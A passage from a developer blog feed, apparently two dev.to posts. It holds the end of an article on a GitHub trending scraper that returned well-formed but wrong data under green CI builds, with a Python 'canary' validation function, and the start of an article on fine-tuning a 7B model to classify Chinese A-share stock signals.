&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;no&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Test 4 and 5 are not hypothetical. GitHub is in the middle of prefixing its utility classes with &lt;code&gt;tmp-&lt;/code&gt;, and today's trending markup reads &lt;code&gt;class="col-9 color-fg-muted my-1 tmp-pr-4"&lt;/code&gt;. A parser pinned to the full class string doesn't crash on that — it silently returns &lt;strong&gt;zero descriptions&lt;/strong&gt; while still reporting 21 healthy rows. Your row count looks perfect and every card on the site is blank.&lt;/p&gt;

&lt;p&gt;And the one that genuinely frightened me:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;--- TEST 6: selector requiring &amp;lt;a href="/ to be the FIRST attribute ---
    articles: 21
    extracted: 21  of which wrong (end with /stargazers): 21
    sample wrong value: omacom/omarchy/stargazers

--- TEST 7: same markup, attributes allowed before href ---
    extracted: 21 | sample: omacom/omarchy | wrong: 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;GitHub reordered the attributes on the anchor inside each &lt;code&gt;&amp;lt;h2&amp;gt;&lt;/code&gt;. The old-style selector &lt;code&gt;&amp;lt;h2[^&amp;gt;]*&amp;gt;.*?&amp;lt;a href="/([^"]+)"&lt;/code&gt; requires the tag to literally begin with &lt;code&gt;&amp;lt;a href="&lt;/code&gt;. It no longer does, so the regex skipped the repo link entirely and latched onto the next &lt;code&gt;&amp;lt;a href="/..."&amp;gt;&lt;/code&gt; in the block — which is the stargazers link.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;21 out of 21 repo names came out as &lt;code&gt;owner/repo/stargazers&lt;/code&gt;.&lt;/strong&gt; Not an error. Not a warning. A perfectly-formed string with the wrong content, in every row, in every build.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why the green build is the wrong instrument
&lt;/h2&gt;

&lt;p&gt;The aggregator had exactly one health channel: the build status. The build status measures whether the code ran. It says nothing about whether the output was shaped like the output.&lt;/p&gt;

&lt;p&gt;That means a green run has two indistinguishable meanings:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;fresh data&lt;/strong&gt;, or&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;no data&lt;/strong&gt;, published confidently&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There's a second blind spot in the same archive. Of the 201 runs, &lt;strong&gt;17 pairs of consecutive runs were more than 8 hours apart&lt;/strong&gt;, the longest being 13.2 hours, against a nominal 4-per-day schedule of ~208 slots. GitHub Actions cron drifts and queues. From the outside, a 13-hour hole and a 6-hour heartbeat look identical — both are green.&lt;/p&gt;

&lt;p&gt;This is the same class of failure I keep running into with agents: &lt;code&gt;success&lt;/code&gt; is a statement about the executor, not about the artifact. (I wrote about a nastier version of it — twelve days of &lt;code&gt;success: true&lt;/code&gt; with zero articles actually published — &lt;a href="https://dev.to/felixwang007/my-ai-agent-reported-success-for-12-days-straight-every-article-got-0-reads-5ddj"&gt;here&lt;/a&gt;.)&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix: a completeness canary, run before publish
&lt;/h2&gt;

&lt;p&gt;Four assertions, none of which is "did it crash":&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Row floor&lt;/strong&gt; — fewer than 15 rows means the selector rotted.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Description coverage ratio&lt;/strong&gt; — if under 80% of rows have a description, the field selector broke even though the row count looks fine. This is the assertion that catches Tests 4 and 5.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Name shape&lt;/strong&gt; — every repo name must contain exactly one &lt;code&gt;/&lt;/code&gt;. This catches the &lt;code&gt;owner/repo/stargazers&lt;/code&gt; corruption. A shape check, not a length check, because the failure was well-formed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Snapshot age&lt;/strong&gt; — an unparsable or stale &lt;code&gt;updated_at&lt;/code&gt; fails. This is the only thing that catches the 13-hour cron hole.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Run against the live artifact and against deliberately damaged copies:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;LIVE  (2026-09-17 04:39 UTC): PASS
EMPTY scrape               : ['row count 0 &amp;lt; 15']
DESCRIPTIONS wiped         : ['description coverage 0/5 &amp;lt; 80%']
STALE snapshot (9.0h old)  : ['snapshot age 9.0h &amp;gt; 8h']
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(The &lt;code&gt;0/5&lt;/code&gt; is because the trimmed &lt;code&gt;summary.json&lt;/code&gt; only keeps the top five rows for the Actions log — the canary itself runs against the full &lt;code&gt;trending.json&lt;/code&gt;.)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;verdict&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;lang_counts&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;min_rows&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;min_desc_ratio&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_age_hours&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;problems&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;repos&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;repos&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;total_repos&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;min_rows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;problems&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;row count &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &amp;lt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;min_rows&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;desc&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;repos&lt;/span&gt; &lt;span class="nf"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;description&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;''&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;repos&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;min_desc_ratio&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;problems&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;description coverage &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;desc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repos&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &amp;lt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;min_desc_ratio&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;%&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;bad&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;repos&lt;/span&gt;
           &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;name&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;problems&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; malformed repo names e.g. &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lang_counts&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="p"&gt;{}).&lt;/span&gt;&lt;span class="nf"&gt;items&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;min_rows&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;problems&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;language page &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt; only &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; rows&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;strptime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;doc&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;updated_at&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;%Y-%m-%d %H:%M UTC&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;age&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;utcnow&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;total_seconds&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;3600&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;age&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;max_age_hours&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;problems&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;snapshot age &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;age&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;h &amp;gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;max_age_hours&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;h&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;problems&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Wire it into the workflow so a non-empty &lt;code&gt;problems&lt;/code&gt; list exits 1 and the last-good artifact stays published. A failed build that keeps good data beats a green build that serves an empty page — and it is the only way the alert channel ever fires.&lt;/p&gt;

&lt;p&gt;Two selector rules that would have prevented Tests 4–7 outright, both learned the hard way:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Never require attribute order.&lt;/strong&gt; &lt;code&gt;&amp;lt;a[^&amp;gt;]*href="/([^/]+)/([^"/]+)"&lt;/code&gt;, not &lt;code&gt;&amp;lt;a href="/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Never pin a full class string.&lt;/strong&gt; &lt;code&gt;class="col-9[^"]*"&lt;/code&gt;, not &lt;code&gt;class="col-9 color-fg-muted my-1 pr-4"&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both are one-character-worse regexes that survive a refactor that already happened once this month.&lt;/p&gt;

&lt;h2&gt;
  
  
  The takeaway
&lt;/h2&gt;

&lt;p&gt;Scrapers don't fail loudly. They degrade into well-formed nonsense, and the more CI you have, the more confident you get about it, because a green checkmark is a much louder signal than a missing description.&lt;/p&gt;

&lt;p&gt;If you're running anything that scrapes, check the &lt;em&gt;shape&lt;/em&gt; of your output on every run: field coverage ratios, value-format assertions, and freshness — not just exit codes. Count what should be there, not what happened to come back.&lt;/p&gt;




&lt;p&gt;The aggregator is open source and updating every 6 hours: &lt;strong&gt;&lt;a href="https://github.com/Felixwang007/github-daily-trending" rel="noopener noreferrer"&gt;github.com/Felixwang007/github-daily-trending&lt;/a&gt;&lt;/strong&gt; — a live snapshot site plus the parser and workflow, MIT, no API keys needed. If you build something on top of it, the canary above is the part worth stealing.&lt;/p&gt;

&lt;p&gt;I also publish the smaller tools I use daily — an A-share three-pillar screener, a technical-indicator library ported to match TongDaXin's formulas, and the de-slop writing checkers — on &lt;strong&gt;&lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;虾评&lt;/a&gt;&lt;/strong&gt; and at &lt;strong&gt;&lt;a href="https://github.com/Felixwang007" rel="noopener noreferrer"&gt;github.com/Felixwang007&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Next week: I'm wiring the same canary pattern into a stock-data pipeline, where the failure mode is worse — a silently dropped field doesn't blank a web page, it corrupts a signal.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>I Fine-Tuned a 7B Model on 549 A-Share Signal Samples. The Score Didn't Move — the Errors Did.</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Mon, 14 Sep 2026 04:00:48 +0000</pubDate>
      <link>https://dev.to/felixwang007/i-fine-tuned-a-7b-model-on-549-a-share-signal-samples-the-score-didnt-move-the-errors-did-44d3</link>
      <guid>https://dev.to/felixwang007/i-fine-tuned-a-7b-model-on-549-a-share-signal-samples-the-score-didnt-move-the-errors-did-44d3</guid>
      <description>&lt;p&gt;I fine-tuned a 7B model to classify Chinese A-share signals. Setup cost me four minutes of GPU time and 549 training examples. The output looked right. Then I ran the same eval twice with 4x the LoRA rank and 2.7x the epochs — and the score landed in the same place.&lt;/p&gt;

&lt;p&gt;This post is the honest version of that experiment: what the data actually looked like, which knobs did nothing, and where the bottleneck really was (spoiler: it was never the model).&lt;/p&gt;

&lt;h2&gt;
  
  
  The data: 549 samples, 12 stocks, 5 classes
&lt;/h2&gt;

&lt;p&gt;I collect A-share snapshots every trading day at 15:10 with a cron job. No paid API — Tencent's quote endpoint returns GBK-encoded text and needs no key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;quote&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;            &lt;span class="c1"&gt;# code like "sh600519"
&lt;/span&gt;    &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;https://qt.gtimg.cn/q=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;gbk&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;~&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;price&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;prev_close&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;open&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;high&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;low&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;volume&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each snapshot becomes a chat-style training row (&lt;code&gt;instruction&lt;/code&gt; / &lt;code&gt;input&lt;/code&gt; / &lt;code&gt;output&lt;/code&gt;), where &lt;code&gt;output&lt;/code&gt; is a structured verdict: signal label, reasoning, action, risk note. After a few months of collection the file sits at &lt;strong&gt;549 rows over 12 tickers&lt;/strong&gt;, and the label distribution is already a warning sign:&lt;br&gt;
&lt;/p&gt;

